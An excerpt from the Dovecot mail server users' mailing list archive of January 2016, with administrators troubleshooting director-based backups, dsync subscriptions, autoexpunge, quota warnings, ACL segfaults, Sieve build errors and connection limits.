:-) Everything fine now Am 12.01.2016 um 10:22 schrieb Tobi: > Hi list > > I have configured my dovecot(s) in a frontend-backend setup using the > director feature of dovecot. Works like charm, but I'm currently unable > to use doveadm backup to "sync" the mailbox to a dovecot system which is > not within director_mail_servers settings > Before I added the director feature I could fire a simple > > doveadm backup -u myuser at mydomain.tld tcps:otherserver.mydomain.tld:2424 > > After activating the director the command above fails as the connection > is always tried to be established to one of the servers specified in > director_mail_servers. > Is it possible to use doveadm backup towards a server which is not in > director_mail_servers? > I tried with the -o option of doveadm to override several settings like > host or director_mail_servers but no success: the command still tries to > connect to an ip from director_mail_servers and not to the destination > given as parameter to the command. > Is there anyway to achieve that? > Thanks a lot for any help > > tobi > -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 819 bytes Desc: OpenPGP digital signature URL: From p.heinlein at heinlein-support.de Tue Jan 12 10:04:53 2016 From: p.heinlein at heinlein-support.de (Peer Heinlein) Date: Tue, 12 Jan 2016 11:04:53 +0100 Subject: doveadm/dsync/imapc loose folder subscriptions In-Reply-To: <568F9EC5.7070902@heinlein-support.de> References: <568F9EC5.7070902@heinlein-support.de> Message-ID: <5694CFC5.1040505@heinlein-support.de> Am 08.01.2016 um 12:34 schrieb Peer Heinlein: Hi, is there a chance for a nice and easy patch to fix this today? Peer > doveadm will copy & merge his mails, but he does NOT check for changes > in folder subscriptions. As you can see in the attached logs, doveadm > notices changes in subscriptions: > > dsync(p100490p11): Debug: brain S: Local mailbox tree: INBOX.Trash > guid=b36f688eae08506001091708006abe5a uid_validity=1368084367 > uid_next=1206 subs=yes last_change=0 last_subs=0 > > dsync(p100490p11): Debug: brain M: Local mailbox tree: INBOX.Trash > guid=b36f688eae08506001091708006abe5a uid_validity=1368084367 > uid_next=1206 subs=no last_change=1448903088 last_subs=1448177531 > > but doesn't fix the subscriptions list: -- Heinlein Support GmbH Schwedter Str. 8/9b, 10119 Berlin http://www.heinlein-support.de Tel: 030 / 405051-42 Fax: 030 / 405051-19 Zwangsangaben lt. ?35a GmbHG: HRB 93818 B / Amtsgericht Berlin-Charlottenburg, Gesch?ftsf?hrer: Peer Heinlein -- Sitz: Berlin From Olaf.Hopp at kit.edu Tue Jan 12 10:43:51 2016 From: Olaf.Hopp at kit.edu (Olaf Hopp) Date: Tue, 12 Jan 2016 11:43:51 +0100 Subject: autoexpunge problems In-Reply-To: <5B05ED76-7006-477A-AF80-6C1CC4737C06@iki.fi> References: <5673DF69.3080706@kit.edu> <5B05ED76-7006-477A-AF80-6C1CC4737C06@iki.fi> Message-ID: <5694D8E7.9010406@kit.edu> On 01/04/2016 08:25 PM, Timo Sirainen wrote: > On 18 Dec 2015, at 05:26, Olaf Hopp wrote: >> >> Hello, >> I tried to use the new autoexpunge for my Trash folders >> I had in 15-mailboxes.conf >> >> mailbox Trash { >> special_use = \Trash >> auto = subscribe >> } >> >> (dovecot -n of the original config is below) >> and added just the line >> autoexpunge = 1h >> Just a short period on my test system. >> But it failed. In the log I see >> >> Dec 18 10:54:07 irams2 dovecot: imap(ms2test): Error: Failed to autoexpunge mailbox 'Trash': Invalid mailbox name 'Trash': Missing namespace prefix 'INBOX.' > > Oops. This should fix it: https://github.com/dovecot/core/commit/76e5f0fe5e9e8bdee24d0e047378a665e01b808d > Hi Timo, now it looks good (and also works fine). Thanks, Olaf -- Karlsruher Institut f?r Technologie (KIT) ATIS - Abt. Technische Infrastruktur, Fakult?t f?r Informatik Dipl.-Geophys. Olaf Hopp - Leitung IT-Dienste - Am Fasanengarten 5, Geb?ude 50.34, Raum 009 76131 Karlsruhe Telefon: +49 721 608-43973 Fax: +49 721 608-46699 E-Mail: Olaf.Hopp at kit.edu atis.informatik.kit.edu www.kit.edu KIT ? Die Forschungsuniversit?t in der Helmholtz-Gemeinschaft Das KIT ist seit 2010 als familiengerechte Hochschule zertifiziert. -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 5304 bytes Desc: S/MIME Cryptographic Signature URL: From a.helwig at heinlein-support.de Tue Jan 12 11:08:24 2016 From: a.helwig at heinlein-support.de (Andre Helwig) Date: Tue, 12 Jan 2016 12:08:24 +0100 Subject: Missing Documentation Message-ID: <5694DEA8.6010301@heinlein-support.de> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi, could someone apply the folowing line to the wiki page at http://wiki2.dovecot.org/Tools/Doveadm/Sync Because it is write protected. - -R Reverse backup direction, so mails in location2 are backed up to default mail location. - -- Heinlein Support GmbH Schwedter Str. 8/9b, 10119 Berlin http://www.heinlein-support.de Tel: 030 / 405051-0 Fax: 030 / 405051-19 Zwangsangaben lt. ?35a GmbHG: HRB 93818 B / Amtsgericht Berlin-Charlottenburg, Gesch?ftsf?hrer: Peer Heinlein -- Sitz: Berlin -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (GNU/Linux) iQEcBAEBAgAGBQJWlN6oAAoJEAoTNwRDnEhRfyAH/RZmdQO4jevf8d6Y/CjW/Lkc H7Ny1tB4W+dZnY/Lap+VY4RER/QWfgVgPDrWm0FG1r73FBpPqxafVlMeh2TM9Daf ARSlBQltDl4GvUu3w+ANByUm/eHe3+3+/HavgJApCpJwaxDfgGBpJoEkTsNQSs6d t2NZYY1k/MJV+5Vk7YWatUnHNdK3H6DPz03e+GLQkh+Np0HScy95ispU1c6rirH0 ROb/4X/HPL2Isut3KHcgJ+f5SkHDueNCgM9kq/O72wq8c1GxAIn/Mwk0wQhdVsw/ VoCrsw/IcJ3k6cTeys8rYmpmBMu4LaNfMHoRXTB0X98KmpLHS99WwJ1fXI2Oegw= =flsG -----END PGP SIGNATURE----- From absolutely_free at libero.it Tue Jan 12 11:45:32 2016 From: absolutely_free at libero.it (absolutely_free at libero.it) Date: Tue, 12 Jan 2016 12:45:32 +0100 (CET) Subject: TLS SNI Client Support Message-ID: <1585301214.1498131452599132830.JavaMail.httpd@webmail-29.iol.local> Hi,according to this page: http://wiki2.dovecot.org/SSL/SNIClientSupport (last change 2013) I would like to know if this limitation is still valid. # dovecot --version2.0.9 I am trying to configure Android default email client and I am not able at all to use TLS. With other clients I have no problem, so I think my server configuration is ok. Thank you From alessio at skye.it Tue Jan 12 13:28:04 2016 From: alessio at skye.it (Alessio Cecchi) Date: Tue, 12 Jan 2016 14:28:04 +0100 Subject: No SSL on some users In-Reply-To: References: Message-ID: <5694FF64.4040103@skye.it> Il 12/01/2016 08:23, Jonas Bj?rklund ha scritto: > Hello, > > Is there a way to allow only certain users on IMAP/POP3 without SSL? > Im running MySQL backend. > > /Jonas You can try to add a deny passwd-file based on the service and protocol or port (in order to determinate if users are login in clear): passdb { driver = passwd-file args = /etc/dovecot/deny.%s.%a deny = yes } And in the file /etc/dovecot/deny.imap.143 insert all users except the allowed to login in clear. http://wiki.dovecot.org/Authentication/RestrictAccess http://wiki.dovecot.org/Variables This is only a suggestion, I don't know if can works. Let me know if you find a better way. Ciao -- Alessio Cecchi Postmaster @ http://www.qboxmail.it https://www.linkedin.com/in/alessice From jcblanco at fi.upm.es Tue Jan 12 16:22:01 2016 From: jcblanco at fi.upm.es (Juan C. Blanco) Date: Tue, 12 Jan 2016 17:22:01 +0100 Subject: Released Pigeonhole v0.4.11 for Dovecot v2.2.21 Message-ID: <56952829.3060103@fi.upm.es> Hello Stephan. > The release is available as follows: > > http://pigeonhole.dovecot.org/releases/2.2/dovecot-2.2-pigeonhole-0.4.11.tar.gz > http://pigeonhole.dovecot.org/releases/2.2/dovecot-2.2-pigeonhole-0.4.11.tar.gz.sig http://pigeonhole.dovecot.org/ seems to be down, right? Regards Juan C. > > Refer to http://pigeonhole.dovecot.org and the Dovecot v2.x wiki for > more information. Have fun testing this release and don't hesitate to > notify me when there are any problems. > > Regards, > > -- > Stephan Bosch > stephan at rename-it.nl > > > -- +-------------------------------------------------------------------+ | Juan C. Blanco | | | | Centro de Calculo | | | E.T.S. Ingenieros Inform?ticos | E-mail: jcblanco at fi.upm.es | | Universidad Polit?cnica de Madrid | | | Campus de Montegancedo | | | Boadilla del Monte | Tel.: (+34) 91 336 7466 | | 28660 MADRID (Spain) | Fax : (+34) 91 336 6913 | +-------------------------------------------------------------------+ From stephan at rename-it.nl Tue Jan 12 16:31:43 2016 From: stephan at rename-it.nl (Stephan Bosch) Date: Tue, 12 Jan 2016 17:31:43 +0100 Subject: Released Pigeonhole v0.4.11 for Dovecot v2.2.21 In-Reply-To: <56952829.3060103@fi.upm.es> References: <56952829.3060103@fi.upm.es> Message-ID: <56952A6F.90600@rename-it.nl> Op 12-1-2016 om 17:22 schreef Juan C. Blanco: > Hello Stephan. > >> The release is available as follows: >> >> http://pigeonhole.dovecot.org/releases/2.2/dovecot-2.2-pigeonhole-0.4.11.tar.gz >> >> http://pigeonhole.dovecot.org/releases/2.2/dovecot-2.2-pigeonhole-0.4.11.tar.gz.sig >> > > http://pigeonhole.dovecot.org/ seems to be down, right? Not from this end. >> >> Refer to http://pigeonhole.dovecot.org and the Dovecot v2.x wiki for >> more information. Have fun testing this release and don't hesitate to >> notify me when there are any problems. >> >> Regards, >> >> -- >> Stephan Bosch >> stephan at rename-it.nl >> >> >> > From jcblanco at fi.upm.es Tue Jan 12 16:56:24 2016 From: jcblanco at fi.upm.es (Juan C. Blanco) Date: Tue, 12 Jan 2016 17:56:24 +0100 Subject: Released Pigeonhole v0.4.11 for Dovecot v2.2.21 In-Reply-To: <56952A6F.90600@rename-it.nl> References: <56952829.3060103@fi.upm.es> <56952A6F.90600@rename-it.nl> Message-ID: <56953038.4020003@fi.upm.es> On 12/01/2016 17:31, Stephan Bosch wrote: > > > Op 12-1-2016 om 17:22 schreef Juan C. Blanco: >> Hello Stephan. >> >>> The release is available as follows: >>> >>> http://pigeonhole.dovecot.org/releases/2.2/dovecot-2.2-pigeonhole-0.4.11.tar.gz >>> >>> http://pigeonhole.dovecot.org/releases/2.2/dovecot-2.2-pigeonhole-0.4.11.tar.gz.sig >>> >> >> http://pigeonhole.dovecot.org/ seems to be down, right? > > Not from this end. Oops! but I've been trying to connect from Spain from two diferent networks (one of them from the Mobile operator) and does not work from none of them. Tonight I'll try again from one addional origin network. Thanks Juan C. Blanco -- +-------------------------------------------------------------------+ | Juan C. Blanco | | | | Centro de Calculo | | | E.T.S. Ingenieros Inform?ticos | E-mail: jcblanco at fi.upm.es | | Universidad Polit?cnica de Madrid | | | Campus de Montegancedo | | | Boadilla del Monte | Tel.: (+34) 91 336 7466 | | 28660 MADRID (Spain) | Fax : (+34) 91 336 6913 | +-------------------------------------------------------------------+ From m.dreadlock at gmail.com Wed Jan 13 00:33:42 2016 From: m.dreadlock at gmail.com (D[r]eadlock M) Date: Wed, 13 Jan 2016 01:33:42 +0100 Subject: Segfault in acl_mailbox_get_aclobj w/ dovecot Message-ID: Hello, I've being trying to play with shared mailboxes but experienced a segfault: [New LWP 9611] Core was generated by `dovecot/imap'. Program terminated with signal SIGSEGV, Segmentation fault. (gdb) bt f #0 0x00007f5b72f429b2 in acl_mailbox_get_aclobj (box=) at acl-mailbox.c:31 abox = 0x0 #1 0x00007f5b72d30fcc in cmd_myrights (cmd=0x7f5b75c97480) at imap-acl-plugin.c:331 ns = box = 0x7f5b75ca4520 mailbox = 0x7f5b75c752a8 "shared" orig_mailbox = 0x7f5b75c80be0 "shared" rights = 0x7f5b75c75108 str = #2 0x00007f5b73f2e09c in command_exec (cmd=cmd at entry=0x7f5b75c97480) at imap-commands.c:158 hook = 0x7f5b75c7e0f0 ret = #3 0x00007f5b73f2cfb2 in client_command_input (cmd=0x7f5b75c97480) at imap-client.c:778 client = 0x7f5b75c96880 command = __FUNCTION__ = "client_command_input" #4 0x00007f5b73f2d066 in client_command_input (cmd=0x7f5b75c97480) at imap-client.c:839 client = 0x7f5b75c96880 command = __FUNCTION__ = "client_command_input" #5 0x00007f5b73f2d39d in client_handle_next_command (remove_io_r=, client=0x7f5b75c96880) at imap-client.c:877 No locals. #6 client_handle_input (client=0x7f5b75c96880) at imap-client.c:889 _data_stack_cur_id = 3 remove_io = false handled_commands = true client = 0x7f5b75c96880 #7 0x00007f5b73f2d745 in client_input (client=0x7f5b75c96880) at imap-client.c:931 cmd = 0x9f3f2 output = 0x7f5b75c972c0 bytes = 95 __FUNCTION__ = "client_input" #8 0x00007f5b73773d0f in io_loop_call_io (io=0x7f5b75c97390) at ioloop.c:441 ioloop = 0x7f5b75c7d740 t_id = 2 __FUNCTION__ = "io_loop_call_io" #9 0x00007f5b73774d09 in io_loop_handler_run_internal (ioloop=ioloop at entry=0x7f5b75c7d740) at ioloop-epoll.c:220 ctx = 0x7f5b75c7e3d0 io = tv = {tv_sec = 1799, tv_usec = 999014} events_count = msecs = ret = 1 i = 0 j = call = __FUNCTION__ = "io_loop_handler_run_internal" #10 0x00007f5b73773d79 in io_loop_handler_run (ioloop=ioloop at entry=0x7f5b75c7d740) at ioloop.c:488 No locals. #11 0x00007f5b73773df8 in io_loop_run (ioloop=0x7f5b75c7d740) at ioloop.c:465 __FUNCTION__ = "io_loop_run" #12 0x00007f5b7371edc3 in master_service_run (service=0x7f5b75c7d5d0, callback=) at master-service.c:566 No locals. #13 0x00007f5b73f21254 in main (argc=1, argv=0x7f5b75c7d390) at main.c:400 set_roots = {0x7f5b74145980 , 0x0} login_set = {auth_socket_path = 0x7f5b75c75048 "\001", postlogin_socket_path = 0x0, postlogin_timeout_secs = 60, callback = 0x7f5b73f371f0 , failure_callback = 0x7f5b73f36ed0 , request_auth_token = 1} service_flags = storage_service_flags = username = 0x0 c = It happens when my client (mutt) tries to enter the shared/ folder. A filtered strace shows (note the 7 seconds between write and read, presumely the command sent by mutt): 8704 00:40:51.420843 open("/var/vmail/domain.tld/marc/Maildir/.Sent/dovecot-acl", O_RDONLY) = -1 ENOENT (No such file or directory) 8704 00:40:51.420978 stat("/var/vmail/domain.tld/marc/Maildir/dovecot-acl", 0x7fffc618dcb0) = -1 ENOENT (No such file or directory) 8704 00:40:51.421100 open("/var/vmail/domain.tld/shared-mailboxes", O_RDONLY) = 4 8704 00:40:51.421800 openat(AT_FDCWD, "/var/vmail/domain.tld/marc/Maildir", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = 12 8704 00:40:51.422217 write(7, "* LIST (\\HasNoChildren \\Sent) \"/\" Sent\r\n* LIST (\\Noselect \\HasNoChildren) \"/\" shared\r\n* LIST (\\HasNoChildren) \"/\" INBOX\r\na0005 OK List completed.\r\n", 147) = 147 8704 00:40:58.235762 <... read resumed> "a0006 MYRIGHTS \"shared\"\r\na0007 STATUS \"Drafts\" (MESSAGES)\r\na0008 SELECT \"shared\"\r\n", 8137) = 82 I admit I've played a little with directories in /var/vmail/ and got a few 'permission denied' but I think I fixed them correctly (move /var/mail/domain.tld/marc into .../Maildir, who ended being root:root) To finish, my dovecot -n: # 2.2.13: /etc/dovecot/dovecot.conf # OS: Linux 3.16.0-4-amd64 x86_64 Debian 8.2 mail_location = maildir:~/Maildir mail_plugins = acl namespace { location = maildir:%%h/Maildir:INDEXPVT=~/Maildir/shared/%%n prefix = shared/%%n/ separator = / type = shared } namespace inbox { inbox = yes location = mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = separator = / type = private } passdb { args = scheme=SHA512-CRYPT username_format=%u /etc/dovecot/users driver = passwd-file } plugin { acl = vfile acl_shared_dict = file:/var/vmail/%d/shared-mailboxes } protocols = " imap lmtp" service auth-worker { user = $default_internal_user } service auth { unix_listener /var/spool/postfix/private/auth { mode = 0666 } } service lmtp { unix_listener /var/spool/postfix/private/dovecot-lmtp { group = postfix mode = 0666 user = postfix } } ssl = required ssl_cert = Hello, try to upgrade my dovecot 2.2.18 installation from sieve 0.4.6 to newest sieve 0.4.11 I got this error at packaging: make[4]: Verzeichnis ?/home/test/dovecot-2.2.18/pigeonhole/src/sieve-tools? wird betreten gcc -DHAVE_CONFIG_H -I. -I../.. -I../../src/lib-sieve -I../../src/lib-sieve-tool -I./debug -I/home/test/dovecot-2.2.18 -I/home/test/dovecot-2.2.18/src/lib -I/home/test/dovecot-2.2.18/src/lib-dict -I/home/test/dovecot-2.2.18/src/lib-dns -I/home/test/dovecot-2.2.18/src/lib-http -I/home/test/dovecot-2.2.18/src/lib-mail -I/home/test/dovecot-2.2.18/src/lib-imap -I/home/test/dovecot-2.2.18/src/lib-fs -I/home/test/dovecot-2.2.18/src/lib-charset -I/home/test/dovecot-2.2.18/src/lib-auth -I/home/test/dovecot-2.2.18/src/lib-master -I/home/test/dovecot-2.2.18/src/lib-ssl-iostream -I/home/test/dovecot-2.2.18/src/lib-compression -I/home/test/dovecot-2.2.18/src/lib-settings -I/home/test/dovecot-2.2.18/src/lib-test -I/home/test/dovecot-2.2.18/src/lib-sasl -I/home/test/dovecot-2.2.18/src/lib-stats -I/home/test/dovecot-2.2.18/src/lib-index -I/home/test/dovecot-2.2.18/src/lib-storage -I/home/test/dovecot-2.2.18/src/lib-storage/list -I/home/test/dovecot-2.2.18/src/lib-storage/index -I/home/test/dovecot-2.2.18/src/lib-storage/index/raw -I/home/test/dovecot-2.2.18/src/lib-imap-storage -I/home/test/dovecot-2.2.18/src/plugins/quota -D_FORTIFY_SOURCE=2 -std=gnu99 -g -O2 -fPIE -fstack-protector --param=ssp-buffer-size=4 -Wformat -Werror=format-security -Wall -W -Wmissing-prototypes -Wmissing-declarations -Wpointer-arith -Wchar-subscripts -Wformat=2 -Wbad-function-cast -fno-builtin-strftime -Wstrict-aliasing=2 -I../.. -MT sievec.o -MD -MP -MF .deps/sievec.Tpo -c -o sievec.o sievec.c sievec.c: In function ?main?: sievec.c:48:20: error: ?EXIT_SUCCESS? undeclared (first use in this function) int exit_status = EXIT_SUCCESS; ^ sievec.c:48:20: note: each undeclared identifier is reported only once for each function it appears in sievec.c:150:18: error: ?EXIT_FAILURE? undeclared (first use in this function) exit_status = EXIT_FAILURE; ^ make[4]: *** [sievec.o] Fehler 1 make[4]: Verzeichnis ?/home/test/dovecot-2.2.18/pigeonhole/src/sieve-tools? wird verlassen make[3]: *** [all-recursive] Fehler 1 make[3]: Verzeichnis ?/home/test/dovecot-2.2.18/pigeonhole/src? wird verlassen make[2]: *** [all-recursive] Fehler 1 make[2]: Verzeichnis ?/home/test/dovecot-2.2.18/pigeonhole? wird verlassen make[1]: *** [all] Fehler 2 make[1]: Verzeichnis ?/home/test/dovecot-2.2.18/pigeonhole? wird verlassen make: *** [build-stamp] Fehler 2 dpkg-buildpackage: Fehler: Fehler-Exitstatus von debian/rules build war 2 Is sieve bundled to dovecotversion? i try it with dovecot 2.2.18. System is Ubuntu14, gcc 4.8.4 Thanks, Hajo From stephan at rename-it.nl Wed Jan 13 10:05:37 2016 From: stephan at rename-it.nl (Stephan Bosch) Date: Wed, 13 Jan 2016 11:05:37 +0100 Subject: sieve - compile error In-Reply-To: <56961F26.90503@gmx.de> References: <56961F26.90503@gmx.de> Message-ID: <56962171.8070403@rename-it.nl> Op 13-1-2016 om 10:55 schreef Hajo Locke: > Hello, > > try to upgrade my dovecot 2.2.18 installation from sieve 0.4.6 to > newest sieve 0.4.11 > I got this error at packaging: That will not work. You need to upgrade Dovecot to the latest version as well if you want to use that version. Regards, Stephan. From fedonin at gmail.com Wed Jan 13 12:28:25 2016 From: fedonin at gmail.com (Serge Spinoza) Date: Wed, 13 Jan 2016 15:28:25 +0300 Subject: Problem! Dovecot 2.2.9 does not send the information on ending the quota to user In-Reply-To: References: Message-ID: Hi. I installed the latest version of dovecot (v 2.2.21). But dovecot still doesn't send the information on ending the quota to user. # dovecot --version 2.2.21 (5345f22) 2015-12-19 7:27 GMT+03:00 Nick Edwards : > before reporting an issue, please try a version made this millenium, > 2.2.9 is older than my gran > or take it up with your distro, dovecot doesnt make the distro version > they do > > On 12/18/15, Serge Spinoza wrote: > > Hi. > > > > I have Dovecot + Postfix + MySQL. > > Version of Postix: postfix_2.11.3-1ubuntu1_amd64 > > Version of Dovecot: 2.2.9 > > Operations system is: Ubuntu 15.04 x64 > > > > Postfix have patched (patch VDA - http://vda.sourceforge.net) for using > > with quota, it means that file "maildirsize" in mail directory already > > exists and changed when add/delete mail. > > > > Quota for virtual box take in MySQL db. > > > > ########################## > > > > Problem: > > > > Dovecot does not send the information on ending the quota to user. > > > > ########################## > > > > > > # dovecot -n > > # 2.2.9: /etc/dovecot/dovecot.conf > > # OS: Linux 2.6.32-042stab112.15 x86_64 Ubuntu 15.04 ext4 > > auth_debug = yes > > auth_default_realm = mydomain.ru > > auth_mechanisms = plain login > > auth_realms = znak-corp.ru > > debug_log_path = /var/log/dovecot-debug.log > > info_log_path = /var/log/dovecot.log > > lda_mailbox_autocreate = yes > > lda_mailbox_autosubscribe = yes > > log_path = /var/log/dovecot.log > > login_greeting = Welcome to OOO "Corporation ZNAK" > > mail_gid = 1000 > > mail_location = maildir:/var/vmail/%n@%d > > mail_plugins = " quota" > > mail_uid = 1000 > > managesieve_notify_capability = mailto > > managesieve_sieve_capability = fileinto reject envelope encoded-character > > vacation subaddress comparator-i;ascii-numeric relational regex > imap4flags > > copy include variables body enotify environment mailbox date ihave > > passdb { > > args = /etc/dovecot/dovecot-sql.conf.ext > > driver = sql > > } > > plugin { > > autocreate = INBOX > > autosubscribe = INBOX > > quota = maildir:User quota > > quota_rule = *:storage=10M #(this derective takes from mysql, but i > wrote > > it just in case) > > quota_warning = storage=90%% quota-warning 90 %u > > quota_warning2 = storage=80%% quota-warning 80 %u > > } > > protocols = pop3 imap > > quota_full_tempfail = yes > > service auth { > > unix_listener /var/spool/postfix/private/dovecot-smtp-auth { > > group = postfix > > mode = 0666 > > user = postfix > > } > > unix_listener auth-userdb { > > group = vmail > > mode = 0600 > > user = vmail > > } > > } > > service imap-login { > > inet_listener imap { > > port = 143 > > } > > inet_listener imaps { > > port = 993 > > ssl = yes > > } > > } > > service pop3-login { > > inet_listener pop3 { > > port = 110 > > } > > inet_listener pop3s { > > port = 995 > > ssl = yes > > } > > } > > service quota-status { > > client_limit = 1 > > executable = /usr/lib/dovecot/quota-status -p postfix > > inet_listener { > > port = 12340 > > } > > } > > service quota-warning { > > executable = script /usr/local/bin/quota-warning.sh > > unix_listener quota-warning { > > user = vmail > > } > > user = vmail > > } > > ssl_cert = > ssl_key = > userdb { > > args = /etc/dovecot/dovecot-sql.conf.ext > > driver = sql > > } > > protocol imap { > > mail_plugins = " quota imap_quota autocreate" > > } > > protocol pop3 { > > mail_plugins = quota > > } > > protocol lda { > > mail_plugins = " quota autocreate" > > } > > > > > > ##### > > quota-warning.sh > > ##### > > > > #!/bin/sh > > PERCENT=$1 > > USER=$2 > > cat << EOF | /usr/lib/dovecot/dovecot-lda -d $USER -o > > "plugin/quota=maildir:User quota:noenforcing" > > From: aaa at mydomain.ru > > Subject: Quota warning $PERCENT% > > > > Your mailbox is now $PERCENT% full. > > Please remove unnecessary emails to avoid new mail loosing. > > EOF > > > > ##### > > Script has chmod 777 > > ##### > > > > root at mx:~# ls -la /usr/local/bin/quota-warning.sh > > -rwxrwxrwx 1 vmail vmail 285 Dec 17 11:09 /usr/local/bin/quota-warning.sh > > > > > > Check the script this command is successful: > > # /usr/local/bin/quota-warning.sh 82 rrr at mydomain.ru > > > > (a letter is sent to rrr at mydomain.ru that box is filled to 82%) > > > > > > > > ##### > > dovecot-sql.conf.ext > > ##### > > > > driver = mysql > > connect = host=localhost dbname=postfix user=postfix password=xxxxxxx > > > > default_pass_scheme = MD5-CRYPT > > > > user_query = SELECT '/var/vmail/%n@%d' as home, > > 'maildir:/var/vmail/%n@%d'as > > mail, 1000 AS uid, 1000 AS gid, concat('*:bytes=', quota) AS quota_rule > > FROM mailbox WHERE username = '%u' AND active = '1' > > > > password_query = SELECT username as user, password, '/var/vmail/%n@%d' > as > > userdb_home, 'maildir:/var/vmail/%n@%d' as userdb_mail, 1000 as > userdb_uid, > > 1000 as userdb_gid, concat('*:bytes=', quota) AS userdb_quota_rule FROM > > mailbox WHERE username = '%u' AND active = '1' > > > > > > ##### > > Check that the socket has a quota-warning: > > # lsof |grep quota-warning > > dovecot 17277 root 57u unix 0xffff8802d7845b80 > > 0t0 62354154 /var/run/dovecot/quota-warning > > > > ##### > > Verify that the plugin quota is running I doing like this: > > # doveadm -D -v quota get -u rrr at mydomain.ru > > > > Conclusion: > > > > doveadm(root): Debug: Loading modules from directory: > > /usr/lib/dovecot/modules > > doveadm(root): Debug: Module loaded: > > /usr/lib/dovecot/modules/lib10_quota_plugin.so > > doveadm(root): Debug: Loading modules from directory: > > /usr/lib/dovecot/modules/doveadm > > doveadm(root): Debug: Skipping module doveadm_acl_plugin, because > dlopen() > > failed: /usr/lib/dovecot/modules/doveadm/lib10_doveadm_acl_plugin.so: > > undefined symbol: acl_user_module (this is usually intentional, so just > > ignore this message) > > doveadm(root): Debug: Skipping module doveadm_expire_plugin, because > > dlopen() failed: > > /usr/lib/dovecot/modules/doveadm/lib10_doveadm_expire_plugin.so: > undefined > > symbol: expire_set_deinit (this is usually intentional, so just ignore > this > > message) > > doveadm(root): Debug: Module loaded: > > /usr/lib/dovecot/modules/doveadm/lib10_doveadm_quota_plugin.so > > doveadm(root): Debug: Module loaded: > > /usr/lib/dovecot/modules/doveadm/lib10_doveadm_sieve_plugin.so > > doveadm(root): Debug: Skipping module doveadm_fts_plugin, because > dlopen() > > failed: /usr/lib/dovecot/modules/doveadm/lib20_doveadm_fts_plugin.so: > > undefined symbol: fts_backend_rescan (this is usually intentional, so > just > > ignore this message) > > doveadm(rrr at mydomain.ru): Debug: Added userdb setting: > > mail=maildir:/var/vmail/rrr at mydomain.ru > > doveadm(rrr at mydomain.ru): Debug: Added userdb setting: > > plugin/quota_rule=*:bytes=10240000 > > doveadm(rrr at mydomain.ru): Debug: Effective uid=1000, gid=1000, > > home=/var/vmail/rrr at mydomain.ru > > doveadm(rrr at mydomain.ru): Debug: Quota root: name=User quota > > backend=maildir args= > > doveadm(rrr at mydomain.ru): Debug: Quota rule: root=User quota mailbox=* > > bytes=10240000 messages=0 > > doveadm(rrr at mydomain.ru): Debug: Quota rule: root=User quota > mailbox=Trash > > bytes=+104857600 messages=0 > > doveadm(rrr at mydomain.ru): Debug: Quota rule: root=User quota > mailbox=SPAM > > ignored > > doveadm(rrr at mydomain.ru): Debug: Quota warning: bytes=9216000 (90%) > > messages=0 reverse=no command=quota-warning 90 rrr at mydomain.ru > > doveadm(rrr at mydomain.ru): Debug: Quota warning: bytes=8192000 (80%) > > messages=0 reverse=no command=quota-warning 80 rrr at mydomain.ru > > doveadm(rrr at mydomain.ru): Debug: Quota grace: root=User quota > bytes=1024000 > > (10%) > > doveadm(rrr at mydomain.ru): Debug: maildir++: > > root=/var/vmail/rrr at mydomain.ru, > > index=, indexpvt=, control=, inbox=/var/vmail/rrr at mydomain.ru, alt= > > Quota name Type Value Limit > > % > > User quota STORAGE 9008 10000 > > 90 > > User quota MESSAGE 6 - > > 0 > > > > > > ##### > > > > Those plugin is successfully loaded and checked. When removing/receiving > > emails percent of employment, respectively changes. > > I read in dovecot manual, that the notification send only when the quota > > border crossing - then I tested like this: Clears the box up to 60% and > > then send letters, which occupy about 5% more of allocated quota. And so > > the lead up to 95%. But reports of ending the quota not be sent. > > > > In what may be another problem? > > > > Thanks. > > > > ------------------ > > Serge > > > From tss at iki.fi Thu Jan 14 16:57:38 2016 From: tss at iki.fi (Timo Sirainen) Date: Thu, 14 Jan 2016 18:57:38 +0200 Subject: doveadm/dsync/imapc and foldernames including a "%" In-Reply-To: References: <568D464C.3040900@heinlein-support.de> Message-ID: <5697D382.4040504@iki.fi> On 01/08/2016 05:49 PM, Timo Sirainen wrote: > >> On 06 Jan 2016, at 18:52, Peer Heinlein wrote: >> >> >> We're using doveadm/dsync/imapc to migrate accounts from Courier to >> Dovecot 2.2.20. >> >> On the source-server some user have folder names including a "%" in >> their name. >> >> Looks like doveadm isn't able to handle that folder names. I always >> stops with: >> >> dsync(testtest): Error: Failed to access mailbox INBOX.Test%TEST: >> Mailbox does not exist, or must be subscribed to. > > Hmm. The attached patch fixes it, but I'm not sure yet if it breaks something else. Need to create some automated tests for imapc handling these various special characters.. Looks like it was a more complicated change to get it working correctly for all cases. These should fix everything: https://github.com/dovecot/core/commit/a4e2101473cfd7ce960fc49b3ce097c3f89ec2ad https://github.com/dovecot/core/commit/f97b503210435b74de3b26cba07315cbc9ea1dfc https://github.com/dovecot/core/commit/6e2bb07ff164bbac054cc53a4b4ca0d8aee909d1 From nmilas at noa.gr Thu Jan 14 17:19:55 2016 From: nmilas at noa.gr (Nikolaos Milas) Date: Thu, 14 Jan 2016 19:19:55 +0200 Subject: Increasing mail_max_userip_connections and sys resources Message-ID: <5697D8BB.8030407@noa.gr> In our low-traffic server we have always kept the default value for IMAP mail_max_userip_connections (10). The server has been working fine! (Thank you Timo for this!) However, recently we have been having: Maximum number of connections from user+IP exceeded errors both for IMAP and webmail users. Thus, we have now changed the value to 100. The questions: 1.Might this lead to overloading the server? 2. Could another dovecot setting prevent the above setting from being applied (e.g. due to connections exhaustion), i.e. should we also change other setting(s)? 3. What should we take into account when deciding the value for mail_max_userip_connections? 4. How can we set a different value to this directive for webmail connections (coming from 127.0.0.1, ::1)? The config follows for your reference (I've only changed the real domain name). Thanks in advance for your help. Nick ----------------------------------------------------------------------------- # doveconf -n # 2.2.18: /etc/dovecot/dovecot.conf # Pigeonhole version 0.4.8 # OS: Linux 2.6.18-407.el5 x86_64 CentOS release 5.11 (Final) auth_mechanisms = plain login auth_verbose = yes disable_plaintext_auth = no 